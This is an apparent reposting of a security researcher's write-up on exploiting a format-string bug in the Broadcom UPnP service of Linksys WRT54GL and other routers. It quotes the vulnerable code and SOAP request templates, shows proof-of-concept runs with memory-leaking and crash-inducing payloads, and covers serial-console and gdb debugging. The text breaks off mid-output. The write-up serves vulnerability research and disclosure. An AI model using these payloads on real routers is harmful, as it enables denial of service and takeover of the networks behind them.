Created
August 22, 2017 23:22
-
-
Save cyberheartmi9/40aa8f6d931ad4d7eab7e1b65a52967e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
From Zero to ZeroDay Journey: Router Hacking (WRT54GL Linksys Case) | |
=================================================================== | |
- Leon Juranic <leon[at]defensecode.com> | |
http://www.defensecode.com/ | |
Date: 03/10/2013 | |
Table Of Content: | |
===[ 1. Introduction | |
===[ 2. Vulnerability background | |
===[ 2.1 Know Your Enemy - Linksys WRT54GL | |
===[ 2.2 UPnP brief history and protocol basics | |
===[ 2.2.1 Addressing | |
===[ 2.2.2 Discovery | |
===[ 2.2.3 Description | |
===[ 2.2.4 Control | |
===[ 2.2.5 Eventing | |
===[ 2.2.6 Presentation | |
===[ 3. Vulnerability details | |
===[ 4. Basic Proof Of Concept Exploit | |
===[ 5. Debugging Environment | |
===[ 5.1 Required Hardware | |
===[ 5.2 Required Software | |
===[ 5.3 Debugging | |
===[ 6. Pieces for the exploit | |
===[ 7. PC register takeover | |
===[ 8. Gaining control over the router | |
===[ 9. Post-intrusion fun | |
===[ 10. Greetz & shouts | |
===[ 11. About DefenseCode | |
===[ Cisco Linksys WRT54GL Exploit | |
===[ Vulnerable Manufacturers And Router Models | |
===[ 1. Introduction | |
Hacking network devices is a sort of the Holy Grail for hackers, because | |
once we're in a network device like a router or switch, we can (more-or-less) | |
overtake all machines behind it. | |
Network traffic sniffing, man-in-the-middle attacks, binary infection | |
on-the-fly, further network penetration, so on, and so on... | |
Hell, you can even play games on someone's router if you want. :) | |
A few months ago I've stumbled across a very interesting remote preauthentication | |
code execution vulnerability in a very popular Cisco Linksys router, present in | |
default installation. | |
Vulnerability itself was initially located in Cisco Linksys WRT54GL model. | |
According to data available on the internet, Cisco Linksys WRT54GL | |
alone was sold >20M worldwide. | |
At first, that seemed like immense and very interesting playground - | |
and vulnerability that definitely deserves attention. | |
To make it even funnier, later it turned out that other Cisco Linksys | |
models are vulnerable, and even more - many other router models from other | |
manufacturers are also affected by the very same vulnerability. | |
Just to name a few: ASUS, D-Link, Zyxel, US Robotics, TP-Link, Netgear, etc. | |
Full vulnerable vendor list reference is present at the end of the article. | |
During the further vulnerability analysis and data provided by HD Moore (thanks;) of | |
Metasploit/Rapid7, it turned out that there are at least 15M vulnerable routers | |
visible (hackable;-) directly from the internet. Probably many more in local | |
networks and wireless hotspots. | |
Hacking embedded devices like routers is always funny, basically because they're | |
designed as closed Black-Box systems for specific purpose. | |
Interesting thing for embedded devices is that a very small percent of users will | |
ever actually upgrade (flash) their routers with new firmware when some | |
vulnerability is discovered, no matter how dangerous the vulnerability is. | |
That said, I think it's safe to assume that years after this article, there will | |
still be many vulnerable routers out there. | |
In the following article, we will show you how to remove the shroud of Black-Box | |
mist from router devices like that, and even more - to have some fun while doing | |
that. Join us on "From Zero To ZeroDay" journey... | |
===[ 2. Vulnerability background | |
When some vulnerability is present across multiple router models from various router | |
manufacturers, logical assumption is that the vulnerable component itself is developed by | |
a third party. | |
Remote preauth vulnerability we'll discuss in this article is present in the UPnP | |
protocol implementation originally developed by Broadcom Company and distributed by | |
many router manufacturers (full vulnerable vendor list at the end). | |
UPnP stands for Universal Plug and Play protocol. | |
Brief description: | |
"Universal Plug and Play (UPnP) is a set of networking protocols that permits | |
networked devices, such as personal computers, printers, Internet gateways, Wi-Fi access points | |
and mobile devices to seamlessly discover each other's presence on the network and establish | |
functional network services for data sharing, communications, and entertainment." | |
So basically, UPnP is designed to connect all your computers, gadgets, TV's, Microwave | |
Ovens and Refrigerators together. Almost all popular SOHO routers will support | |
UPnP nowadays, and in most cases, UPnP is turned on by default on them. | |
For start, there are couple of major design flaws within the UPnP protocol and | |
its implementations. | |
First of all - it doesn't require any form of authentication, and second - many UPnP | |
implementations will accept requests directly from the WAN interface. | |
In a modern, interconnected world, any little bit more complex protocol that doesn't support | |
any sort of authentication is a self-sufficient bad idea, but when implementations of protocol | |
like that also listen on WAN interface by default, it's a sort of a time-bomb anxiously | |
waiting to go off. | |
Another interesting thing about UPnP is that the protocol itself is (comparing to other | |
popular internet protocols) relatively new, because it was introduced in the late 90's. | |
That's why UPnP protocol and its implementations deserve attention from security perspective. | |
Over the time, various flaws were discovered in different UPnP protocol implementations. | |
In 2001 - eEye discovered critical vulnerabilities in Microsoft UPnP implementation | |
In 2006 - Various UPnP IGD implementation defects disclosed by Armijn Hemel | |
In 2008 - GNUcitizen abused Adobe Flash to reconfigure routers with UPnP | |
In 2011 - Security researcher Daniel Garcia exploited the flaw in some UPnP IGD | |
implementations on devices that allows UPnP requests on WAN. | |
In 2013 - DefenseCode discloses Broadcom UPnP implementation remote preauth code | |
execution in various router devices (described in this article) | |
In 2013 - HD Moore of Rapid7 discloses Multiple UPnP vulnerabilities in various | |
router devices | |
In the following sub-chapters, we will present specification and technical description | |
of our target - Cisco Linksys WRT54GL router (know your enemy, right?:-), along with some basic | |
UPnP protocol specification. | |
===[ 2.1 Know Your Enemy - Cisco Linksys WRT54GL | |
Later in the article we will describe how to gain remote shell on Cisco Linksys wireless router | |
- WRT54GL model, but be patient, young Jedi. First, let's see what is inside the box, just to know | |
what we're dealing with. | |
Cisco Linksys WRT54GL is a very popular Wi-Fi capable broadband router originally developed by Cisco | |
Linksys. | |
WRT54GL model comes in two hardware versions - 1.0 and 1.1 with basically the same hardware | |
specification. Our focus is on hardware version 1.1, with default firmware version - 4.30.7. | |
The specification is presented below. | |
+=======================================================+ | |
| Cisco Linksys WRT54GL model - Hardware and Features | | |
+=======================================================+ | |
| CPU: Broadcom BCM5352 chipset - 200 MHz | | |
+-------------------------------------------------------+ | |
| CPU Architecture: Broadcom MIPS | | |
| (Microprocessor without Interlocked Pipeline Stages) | | |
| Based on RISC (Reduced instruction set computing) | | |
| Little Endian | | |
+-------------------------------------------------------+ | |
| RAM: 16 MB | | |
+-------------------------------------------------------+ | |
| Flash memory: 4 MB | | |
+-------------------------------------------------------+ | |
| OS: Linux | | |
+-------------------------------------------------------+ | |
| Frequency band: 2.4 GHz | | |
+-------------------------------------------------------+ | |
| Data transfer rate: 54 Mbps | | |
+-------------------------------------------------------+ | |
| Interfaces: WAN : 1 x Ethernet 10Base-T/100Base-TX | | |
| - RJ-45, LAN / DMZ : 4 x Ethernet 10Base-T/100Base-TX | | |
| - RJ-45 | | |
+-------------------------------------------------------+ | |
| Data link: Ethernet, IEEE 802.11b, IEEE 802.11g, Fast | | |
| Ethernet | | |
+-------------------------------------------------------+ | |
| Remote management: HTTP | | |
+-------------------------------------------------------+ | |
| Features: Dynamic IP address assignment, Firewall | | |
| protection, DMZ port, Auto-sensing per device, | | |
| Auto-negotiation, Auto-uplink (auto MDI/|MDI-X), | | |
| MAC address filtering, Firmware upgradable, Wi-Fi | | |
| Multimedia (WMM) support, Stateful Packet Inspection | | |
| (SPI), DHCP support | | |
+-------------------------------------------------------+ | |
| Encryption Algorithm: WPA2, WPA, 128-bit | | |
| WEP, 64-bit WEP | | |
+-------------------------------------------------------+ | |
| Compliant standards: IEEE 802.11g, IEEE 802.11b, | | |
| Wi-Fi CERTIFIED, UPnP, IEEE 802.3u, IEEE 802.3 | | |
+-------------------------------------------------------+ | |
===[ 2.2 UPnP brief history and protocol basics | |
Protocol descriptions can be somewhat dull and boring, and to be honest I wasn't thrilled | |
when I had to write this chapter. I've included it solely because UPnP itself is really | |
kinda "messed-up", so maybe it's not a bad idea to have some basic concepts included. | |
If this is your first real encounter with UPnP, I suggest reading, otherwise skip it. | |
As stated earlier, Universal Plug and Play (UPnP) protocol was introduced in late 90's. | |
A few different vendors were working on their own solutions for creating a protocol | |
whose purpose would be easier network devices and applications management. | |
UPnP predecessor, or better say, distant cousin was Sun's Jini, introduced in 1998. | |
Sun's Jini was developed with management purpose for co-operation between services of | |
distributed systems. | |
Somewhat later Microsoft stepped forward with UPnP protocol. | |
UPnP protocol is based on a few popular internet protocols and technologies like IP, TCP, | |
UDP, HTTP, and XML. | |
UPnP protocol stack implementation has 6 layers, of which the first one (addressing) is | |
optional. | |
UPnP stack layers: | |
0. Addressing | |
1. Discovery | |
2. Description | |
3. Control | |
4. Eventing | |
5. Presentation | |
A short description of UPnP protocol layers is presented below (if you're too lazy to read a more | |
detailed description): | |
- Addressing - UPnP device will obtain IP through DHCP or Auto-IP | |
- Discovery - UPnP capability to discover other devices on the network | |
- Description - XML file that will describe UPnP services | |
- Control - How to command other UPnP device or program to do something | |
- Eventing - "State variables" for UPnP-enabled device or program states | |
- Presentation - User interface | |
===[ 2.2.1 Addressing (optional) | |
Default behavior of devices with UPnP support is to get IP address through DHCP | |
(Dynamic Host Configuration Protocol) if possible. According to the UPnP protocol | |
specification, UPnP device which does not implement DHCP server itself must include DHCP client, | |
and search for DHCP server when the device is first connected to the network. | |
If a DHCP server is available, device must use IP address assigned to it. | |
If DHCP server is not available, device must use automatic IP addressing (Auto-IP) | |
to obtain and address. Auto-IP is defined in RFC 3927. | |
===[ 2.2.2 Discovery | |
When the UPnP-enabled device is connected to the network, it will send out a Discovery | |
message over the UDP (User Datagram Protocol) to the multicast address 239.255.255.250 on the | |
UDP port 1900. Discovery protocol itself is named SSDP (Simple Service Discovery Protocol), | |
and is very similar to the HTTP (Hyper Text Transfer Protocol). | |
SSDP discovery message purpose is to discover other UPnP-enabled devices available on the | |
network. | |
Start line of the SSDP protocol must be one of these: | |
1. NOTIFY * HTTP/1.1\r\n | |
2. M-SEARCH * HTTP/1.1\r\n | |
3. HTTP/1.1 200 OK\r\n | |
One standard SSDP request sent to the multicast address is presented below: | |
M-SEARCH * HTTP/1.1 | |
HOST: 239.255.255.250:1900 | |
MAN: ssdp:discover | |
MX: 10 | |
ST: ssdp:all | |
UPnP-enabled devices on the network are supposed to reply to the 'Discovery' requests | |
with response similar to this: | |
HTTP/1.1 200 OK | |
CACHE-CONTROL:max-age=1800 | |
EXT: | |
LOCATION:http://10.0.0.138:80/IGD.xml | |
SERVER:SpeedTouch 510 4.0.0.9.0 UPnP/1.0 (DG233B00011961) | |
ST:urn:schemas-upnp-org:service:WANPPPConnection:1 | |
USN:uuid:UPnP-SpeedTouch510::urn:schemas-upnp-org:service:WANPPPConnection:1 | |
See all those "special characters" in request and response? Many UPnP implementations | |
will parse and tokenize them in interesting ways... Speaking of where to look for | |
overflows... :) | |
===[ 2.2.3 Description | |
Response for the 'Discovery' message contains LOCATION header. Location header contains | |
URL where the service profile is located. Profile itself is a XML format file. | |
In previous case, it's http://10.0.0.138:80/IGD.xml. XML profile will contain control URL's | |
where later described control and eventing phase can send commands to. | |
===[ 2.2.4 Control | |
In control layer, a UPnP-enabled device or program can send commands to another UPnP-enabled | |
device or program in order to perform some task previously described in a profile description | |
XML file. Communication is driven using SOAP (Simple Object Access Protocol). | |
Particular service described in profile XML file can be requested by sending a SOAP request | |
to the specific control URL with adequate parameters. | |
===[ 2.2.5 Eventing | |
UPnP has state variables which purpose is to keep some state of UPnP devices and programs. | |
Another UPnP-enabled device or program can subscribe to the device state variables of | |
UPnP-enabled device. When state is changed, the new state is sent to all subscribed | |
UPnP-enabled devices or programs. | |
===[ 2.2.6 Presentation | |
Presentation layer stands for user interface, no further description needed. | |
===[ 3. Vulnerability details | |
As we previously said, the vulnerability is located in Broadcom UPnP stack, used | |
in Cisco Linksys WRT54GL, and in many other router models from other vendors. | |
The vulnerability itself is present in IGD (Internet Gateway Device) module of | |
a Broadcom UPnP stack. | |
Vulnerable piece of code can be called through SetConnectionType and | |
GetConnectionTypeInfo functions of 'wanipc' and 'wanppp' modules. | |
It can be reached with a single SOAP request for SetConnectionType function. | |
The vulnerability is very interesting because it is a classic Format String bug, | |
that can be exploited to remotely read or write memory on vulnerable router | |
devices (without prior authentication). | |
Format string vulnerability is present in all Cisco Linksys WRT54GL | |
firmware versions up to (and included) - 4.30.15. | |
In this article, we will assume that you already know what a format string | |
vulnerability is, and how it can be exploited. For newcomers, detailed | |
description of format string bugs can be found on | |
http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf. | |
Format string vulnerability is present because user-input value from SOAP request is | |
supplied as a format string argument to the snprintf() function in files wanipc.c | |
and wanpp.c. Vulnerable code lines are located in the following files and code lines | |
/upnp/igd/wanipc.c: | |
------------------- | |
static int SetConnectionType(UFILE *uclient, PService psvc, PAction ac, | |
pvar_entry_t args, int nargs) { | |
snprintf(psvc->vars[VAR_ConnectionType].value, sizeof(psvc->vars[ | |
VAR_ConnectionType].value), ac->params[0].value); <------ HERE | |
return TRUE; | |
} | |
------------------- | |
/upnp/igd/wanppp.c: | |
------------------- | |
int WANPPPConnection_SetConnectionType(UFILE *uclient, PService psvc, | |
PAction ac, pvar_entry_t args, int nargs) | |
/* "SetConnectionType", WANPPPConnection_SetConnectionType, */ | |
{ | |
snprintf(psvc->vars[VAR_ConnectionType].value, sizeof(psvc->vars | |
[VAR_ConnectionType].value), ac->params[0].value); <------ HERE | |
return TRUE; | |
} | |
------------------- | |
Vulnerability itself can be reached with a single SOAP request that calls | |
SetConnectionType function as presented below. | |
SetConnectionType: | |
------------------- | |
<?xml version="1.0"?> | |
<SOAP-ENV:Envelope...> | |
<SOAP-ENV:Body> | |
<m:SetConnectionType | |
xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1" as=""> | |
<NewConnectionType> #FORMAT_STRING# </NewConnectionType> | |
</m:SetConnectionType> | |
</SOAP-ENV:Body> | |
</SOAP-ENV:Envelope> | |
------------------- | |
Format string output is available through GetConnectionTypeInfo SOAP | |
request. | |
GetConnectionTypeInfo: | |
---------------------- | |
GetConnectionTypeInfo: | |
<?xml version="1.0"?> | |
<SOAP-ENV:Envelope...> | |
<SOAP-ENV:Body> | |
<m:GetConnectionTypeInfo | |
xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"> | |
</m:GetConnectionTypeInfo> | |
</SOAP-ENV:Body> | |
</SOAP-ENV:Envelope> | |
---------------------- | |
For start, in the following chapter, we will show you how to reach vulnerable code | |
with a simple proof of concept exploit. | |
===[ 4. Basic Proof Of Concept Exploit | |
Like most researchers out there, whenever I'm developing some exploit, prior to any | |
serious steps I will try to write a PoC exploit just to verify the vulnerability. | |
Cisco Linksys WRT54GL UPnP SOAP service is listening on TCP port 5431, so all | |
requests from our PoC exploit will be sent to that port. Also worth mentioning is | |
that router's UPnP service is running under the root account. | |
To reach format string bug itself, we will use two different SOAP requests for SetConnectionType | |
and GetConnectionTypeInfo actions. | |
SetConnectionType will be used for setting the format string and GetConnectionTypeInfo method | |
for reading the format string output. | |
It is also important to mention that appropriate UUID must be set in POST requests for SOAP service. | |
In case of Cisco Linksys WRT54GL (version 4.30.7), UUID is 586d-8fd8-04f5020099dc. | |
SOAP Requests will be formed as presented below. | |
1. SetConnectionType (HTTP) | |
- SOAP header SOAPAction for SetConnectionType | |
- urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType | |
- XML with <NewConnectionType>#FORMAT_STRING#</NewConnectionType> | |
2. GetConnectionTypeInfo (HTTP) | |
- SOAP header SOAPAction for GetConnectionTypeInfo | |
- urn:schemas-upnp-org:service-1-0:WANIPConnection:1#GetConnectionTypeInfo | |
- XML with <m:GetConnectionTypeInfo></m:GetConnectionTypeInfo> | |
Just to mention, vulnerable UPnP IGD network stack will respond with | |
"Server" HTTP header like - "LINUX/2.4 UPnP/1.0 BRCM400/1.0". | |
PoC exploit source code is attached at the end of the file. This simple PoC | |
will only take one argument (format string to set). Just to mention - | |
router's IP address is hardcoded into the PoC exploit source (192.168.1.1 default) | |
Let's try it now... | |
[root@defensecode linksys]# python cisco_linksys_poc.py | |
> Cisco Linksys WRT54GL Remote Preauth 0day PoC | |
> Leon Juranic <[email protected]> | |
> Usage: cisco_linksys_poc.py <FMTSTRING> | |
[root@defensecode linksys]# python cisco_linksys_poc.py _%x_%x_%x_%x_%x | |
> Cisco Linksys WRT54GL Remote Preauth 0day PoC | |
> Leon Juranic <[email protected]> | |
> Received '<?xml version="1.0"?>\r\n<s:Envelope xmlns:s="http://schemas.xmlsoap.o | |
rg/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">< | |
s:Body><m:GetConnectionTypeInfoResponse xmlns:m="urn:schemas-upnp-org:service:WA | |
NIPConnection:1"><NewConnectionType>_7fff7b60_10009190_1_10009190_413940</NewCon | |
nectionType><NewPossibleConnectionTypes>Unconfigured,IP_Routed,IP_Bridged</NewPo | |
ssibleConnectionTypes></m:GetConnectionTypeInfoResponse></s:Body></s:Envelope>\r | |
\n' | |
> FMT RESPONSE: _7fff7b60_10009190_1_10009190_413940 | |
Ok, now we're getting somewhere. In the response above, you will see router | |
memory addresses, so we can use this interesting format string bug to read | |
router's memory. Let's try some more... | |
[root@defensecode linksys]# python cisco_linksys_poc.py _%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x | |
> Cisco Linksys WRT54GL Remote Preauth 0day PoC | |
> Leon Juranic <[email protected]> | |
> Received '<?xml version="1.0"?>\r\n<s:Envelope xmlns:s="http://schemas.xmlsoap | |
.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" | |
><s:Body><m:GetConnectionTypeInfoResponse xmlns:m="urn:schemas-upnp-org:service: | |
WANIPConnection:1"><NewConnectionType>_7fff7b60_10009190_1_10009190_413940_0_7ff | |
f7bd8_7fff7c28_7fff7bed_1_7fff7bd8_10009190_0_1000056c</NewConnectionType><NewPo | |
ssibleConnectionTypes>Unconfigured,IP_Routed,IP_Bridged</NewPossibleConnectionTy | |
pes></m:GetConnectionTypeInfoResponse></s:Body></s:Envelope>\r\n' | |
> FMT: _7fff7b60_10009190_1_10009190_413940_0_7fff7bd8_7fff7c28_7fff7bed_1_7fff7 | |
bd8_10009190_0_1000056c | |
We're definitely getting somewhere... | |
Now let's try to crash the service itself with "%n" format string. | |
[root@defensecode linksys]# python cisco_linksys_poc.py %n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n | |
> Cisco Linksys WRT54GL Remote Preauth 0day PoC | |
> Leon Juranic <[email protected]> | |
> Cannot connect to the target port... | |
Ok, so now we know that we can use this vulnerability to crash Cisco Linksys WRT54GL | |
UPnP SOAP service. Router has to be restarted to start the UPnP service again... | |
However, that's not really interesting to us. We're heading towards that magic '#' | |
character - the root shell :) | |
Our next step is full exploit development for the router. | |
We all know that for exploit development process, debugger is a must-have tool, | |
otherwise, you'll walk in the dark for a long time - but that's especially true when | |
you're hacking some "obscure" embedded device. | |
For some time I have been thinking about how this exploit could be developed without a debugger, | |
just by using the remote memory read feature of format string bug, but it's not all | |
that easy, and it would be a waste of time (even just to confirm that it's too hard to do). | |
So, our next logical step is setting up a debugging environment for our target router, | |
with the whole process described in the next chapter. | |
===[ 5. Debugging Environment | |
Debugging embedded devices is not exactly easy as debugging local programs. In fact, | |
it can be much more complicated, or better say... time-consuming and annoying. | |
First you need to buy hardware for serial port access, then you need to open your router up and | |
connect the serial interface to it, then you need to cross-compile debugging tools and also | |
upload them to the router for the purpose of debugging. | |
Debugging environment setup is described in the following chapters. | |
===[ 5.1 Required Hardware | |
EIA standard RS-232-C, or more popular "serial port" dates from the 1960s. | |
It is used to connect two devices and exchange binary data and control signals between them. | |
Over the last decade or two it's being surpassed by USB due to its (RS232C) low transmission | |
speed, large voltage swing, and large connectors. | |
Nevertheless it is still being used in equipment like network devices, as it is the case in | |
our Cisco Linksys WRT54GL. | |
Here it can be used to access the boot loader and shell which is not accessible over the network | |
interface. | |
However, this router port is not exposed to the outside world, but only as a placeholder | |
of 2 rows of 5 soldering points on the circuit board of the device. Besides not being physically | |
exposed to the outside, its voltages are not quite the ones dictated by the standard, so a little | |
electronic circuit is required in order to interface the low circuit board serial port voltage | |
(3.3V) to the one expected by the computer serial port. If the computer which connects to the | |
router over serial port doesn't actually have a serial port, a USB-to-serial is needed. | |
There are actually two serial ports on the circuit board of the Linksys router. The holes | |
locations are indicated on the image below with "SERIAL PORTS" together with pin numbering, | |
and the pinout is as follows: | |
Serial port 1 (ttyS0) | |
2 - Vcc 3.3V | |
4 - Tx 0 | |
6 - Rx 0 | |
8 - n/c | |
10 - GND | |
Serial port 2 (ttyS1) | |
1 - Vcc 3.3V | |
3 - Tx 1 | |
5 - Rx 1 | |
7 - n/c | |
9 - GND | |
[Reference: http://wiki.openwrt.org/toh/linksys/wrt54g] | |
+-+ <----- antenna connectors ----> +-+ | |
I I I I | |
I I____________________________________I I | |
|### | | | LAN | |WAN| rst ###| | |
|### |_| |___ethernet__| |___| ###| | |
| pwr | | |
| | | |
| | | |
| | | |
| +------+ | | |
| | CPU | ______________________| | |
| | | | | |
| +------+ | | |
| | | |
| 10 oo 9| \ | |
| oo | \ | |
| oo | > SERIAL PORTS | |
| oo | / | |
| 2 o# 1| / | |
| | | |
| :: | | |
| :: | | |
| :: | | |
+T---#-#--######-----+ | |
I * * ****** | |
wlan \---LED---/ | |
btn | |
It is best to solder a pin header for the serial ports and avoid further | |
soldering iron contact with the sensitive PCB. The voltage levels adapter used for | |
debugging was a cheap one ($15) from ebay which had a pin header with Tx,Rx,GND,Vcc | |
labels and 4 wires which easily attach to the soldered pin header. I'm sure you can get | |
one in your favorite hackterial store. | |
Chip in the adapter that does the "voltage magic" is usually labeled similar to the | |
one first created by Maxim Integrated Products, named "MAX232". | |
Is it necessary mentioning that opening the case and soldering things to the device | |
will void the warranty? | |
===[ 5.2 Required Software | |
When appropriate hardware is installed, we need some program for serial port | |
communication, because we will have to connect to the router's console. | |
You can use 'minicom' or 'screen', or whatever else you prefer, as long as it is | |
suitable for remote serial console communication. Baud rate for Cisco Linksys | |
WRT54GL serial console should be set to the 115200 bit/s, otherwise you will get | |
garbage output from the console. | |
Once we're connected to the router serial console, we will have local | |
root access on router as presented below: | |
--- | |
BusyBox v0.60.0 (2006.06.20-06:42+0000) Built-in shell (msh) | |
Enter 'help' for a list of built-in commands. | |
# | |
# cat /proc/cpuinfo | |
system type : Broadcom BCM947XX | |
processor : 0 | |
cpu model : BCM3302 V0.8 | |
BogoMIPS : 199.47 | |
wait instruction : no | |
microsecond timers : yes | |
tlb_entries : 32 | |
extra interrupt vector : no | |
hardware watchpoint : no | |
VCED exceptions : not available | |
VCEI exceptions : not available | |
unaligned_instructions : 4 | |
dcache hits : 3773443533 | |
dcache misses : 2109193075 | |
icache hits : 2638947518 | |
icache misses : 3574102219 | |
instructions : 0 | |
# ps aux | |
PID Uid Stat Command | |
1 0 S init noinitrd | |
2 0 S [keventd] | |
3 0 S [ksoftirqd_CPU0] | |
4 0 S [kswapd] | |
5 0 S [bdflush] | |
6 0 S [kupdated] | |
7 0 S [mtdblockd] | |
21 0 S resetbutton | |
56 0 S tftpd -s /tmp -c -l | |
57 0 S cron | |
60 0 S httpd | |
65 0 S ses -f | |
69 0 S upnp -D -L br0 -W vlan1 -S 0 -I 60 -A 180 | |
72 0 S udhcpc -i vlan1 -l br0 -p /var/run/wan_udhcpc.pid -s /tmp/ | |
93 0 S /bin/sh | |
96 0 R ps aux | |
# nvram show | |
filter_dport_grp3= | |
wl_mac_deny= | |
wl_radius_port=1812 | |
opo=0x0008 | |
filter_dport_grp4= | |
wan_unit=0 | |
filter=on | |
filter_dport_grp5= | |
wl0_net_mode=mixed | |
os_ram_addr=80001000 | |
filter_dport_grp6= | |
filter_dport_grp7= | |
filter_dport_grp8= | |
wl0_frameburst=off | |
filter_dport_grp9= | |
log_ipaddr=0 | |
ddns_username_2= | |
... | |
... | |
... | |
--- | |
For detailed debugging, we will use gdb server cross-compiled for MIPS(LE) | |
architecture and gdb compiled with MIPS(LE) support. LE suffix stands for | |
Little Endian. | |
The crucial step is cross-compiling essential tools (like gdb, nc, etc) | |
in order to have basic environment for exploitation. | |
There are various pre-made cross-compiling toolchains to help in | |
cross-compiling. You can just google for "cross compiling toolchains" | |
and you will find a lot of tools. Good ones include CodeSourcery, | |
Scratchbox, and Buildroot. | |
Since we only needed a few tools, buildroot was our toolchain of | |
choice. It can be downloaded from: http://buildroot.uclibc.org/ and | |
everyone who have compiled Linux kernel or openwrt (for example) themselves, | |
would find their way around toolchain quickly. | |
We have used gdb version 6.8 since it is easier for cross-compiling than | |
a newer version. Since embedded architectures are usually limited | |
in resources, gdb has a nice feature to only have small binary called gdbserver | |
on embedded device and have full blown gdb on desktop. | |
Cross compiling and statically building gdbserver is straightforward. | |
Afterwards, you can just run gdbserver on target device and run gdb on | |
desktop/laptop PC telling gdb to connect to gdbserver in | |
order to perform remote debugging (there is also some good gdb documentation | |
on this topic if you are not familiar with this process). | |
===[ 5.3 Debugging | |
In this chapter we'll demonstrate UPnP service debugging. First, we will start gdbserver on | |
router device and attach it to the UPnP service. Afterwards, we will run gdb debugger on our | |
desktop/laptop computer, and connect it to the remote gdbserver debugging session. | |
gdb client will be connected from the IP address 192.168.58.129, and gdbserver service | |
will listen on port 5000. UPnP process PID is in this case 69. | |
Following commands are issued on the router device via the serial console: | |
# ps aux | |
... | |
69 0 S upnp -D -L br0 -W vlan1 -S 0 -I 60 -A 180 | |
... | |
# ./gdbserver --attach 192.168.58.129:5000 69 | |
Attached; pid = 69 | |
Listening on port 5000 | |
Remote debugging from host 192.168.1.100 | |
When everything is set, we will run the following command (target remote | |
192.168.1.1:5000) on the gdb client side. | |
[root@defensecode linksys]# ./gdb | |
GNU gdb (GDB) 7.5 | |
Copyright (C) 2012 Free Software Foundation, Inc. | |
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> | |
This is free software: you are free to change and redistribute it. | |
There is NO WARRANTY, to the extent permitted by law. Type "show copying" | |
and "show warranty" for details. | |
This GDB was configured as "--host=i686-redhat-linux-gnu --target=mipsel-linux". | |
For bug reporting instructions, please see: | |
<http://www.gnu.org/software/gdb/bugs/>. | |
(gdb) target remote 192.168.1.1:5000 | |
Remote debugging using 192.168.1.1:5000 | |
0x2ac216f4 in ?? () | |
(gdb) i r | |
zero at v0 v1 a0 a1 a2 a3 | |
R0 00000000 1000fc01 00000202 00000000 00000007 7fff7d80 00000000 00000001 | |
t0 t1 t2 t3 t4 t5 t6 t7 | |
R8 0000fc00 00000000 00000000 00000000 809832a4 00000001 809832a0 00000007 | |
s0 s1 s2 s3 s4 s5 s6 s7 | |
R16 00000000 7fff7d80 00000007 10006060 10006040 10007fa0 00000001 00000000 | |
t8 t9 k0 k1 gp sp s8 ra | |
R24 00000000 2ac21690 00000000 00000000 2ac732a0 7fff7d10 00000000 0040abd8 | |
sr lo hi bad cause pc | |
00000000 00000006 00000000 8005a7b8 00000020 2ac216f4 | |
fsr fir | |
00000000 00000000 | |
(gdb) c | |
Continuing. | |
Ok, we have active gdb debugging session with UPnP service on our Cisco Linksys | |
WRT54GL router. Now we can move on to the real thing... | |
===[ 6. Pieces for the exploit | |
We have everything ready for the magic now... | |
It is assumed that dear reader is familiar with format string vulnerability exploitation | |
technique, so no details about it will be given here. | |
That said, first steps in exploitation process is to discover where is our input located | |
in the memory. Later, we will use that for "%n" format string write ability, | |
to overwrite arbitrary memory locations, and to gain the control of PC register. | |
In the following example, previously introduced PoC exploit will be used to crash UPnP | |
service, and analyze memory environment. | |
[root@defensecode linksys]# python cisco_linksys_poc.py %n%n%n%n%n%n%n%n | |
> Cisco Linksys WRT54GL Remote Preauth 0day PoC | |
> Leon Juranic <[email protected]> | |
When PoC exploit is started, our gdb debugging session will be interrupted | |
with segmentation fault. | |
If we examine SP register, we will see that our input (or better say SOAP XML | |
request) is located above the memory address where SP points. | |
(gdb) c | |
Continuing. | |
Program received signal SIGSEGV, Segmentation fault. | |
0x2ac10680 in ?? () | |
(gdb) i r sp | |
sp: 0x7fff7820 | |
(gdb) x/s $sp | |
... | |
... | |
0x7fff7bd7: "" | |
(gdb) | |
0x7fff7bd8: "</m:SetConnectionType" | |
(gdb) | |
0x7fff7bee: "nfo" | |
On the memory address 0x7fff7bd8, there is a part of our input - closing of SetConnectionType. | |
That should be enough for us to obtain write-4-anywhere primitive through the format string | |
("%hn" type). | |
It is important to mention that Cisco Linksys WRT54GL is using uClib | |
(C library developed for the embedded Linux systems). Less fortunate thing about uClib is that | |
it doesn't support format string '$' feature that can be used for direct memory parameter access. | |
So, it will be necessary to perform stack-pops until our input is reached. | |
Now we know where our input can be found, let's try to put something there that we | |
can control. | |
We will change payload for our GetConnectionTypeInfo SOAP request and add some custom data to it, | |
as presented below: | |
--- | |
<?xml version="1.0"?> | |
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" | |
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> | |
<SOAP-ENV:Body>AAAAAAAAAAAAAAAAAAAAAA | |
<AAAABBBBCCCCEEEEFFFFGGXXXXAAAAAAAAXXXXIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPRRRRSSSSTTTTUUUU> | |
<m:GetConnectionTypeInfo xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"> | |
</m:GetConnectionTypeInfo> | |
</SOAP-ENV:Body> | |
</SOAP-ENV:Envelope> | |
--- | |
Let's try the PoC exploit again with new payload. This PoC will only call | |
GetConnectionTypeInfo function. | |
[root@defensecode linksys]# python cisco_linksys_exploit.py %u | |
> Cisco Linksys WRT54GL Remote Preauth 0day PoC | |
> Leon Juranic <[email protected]> | |
> Received '<?xml version="1.0"?>\r\n<s:Envelope xmlns:s="http://schemas.xmlsoap | |
.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" | |
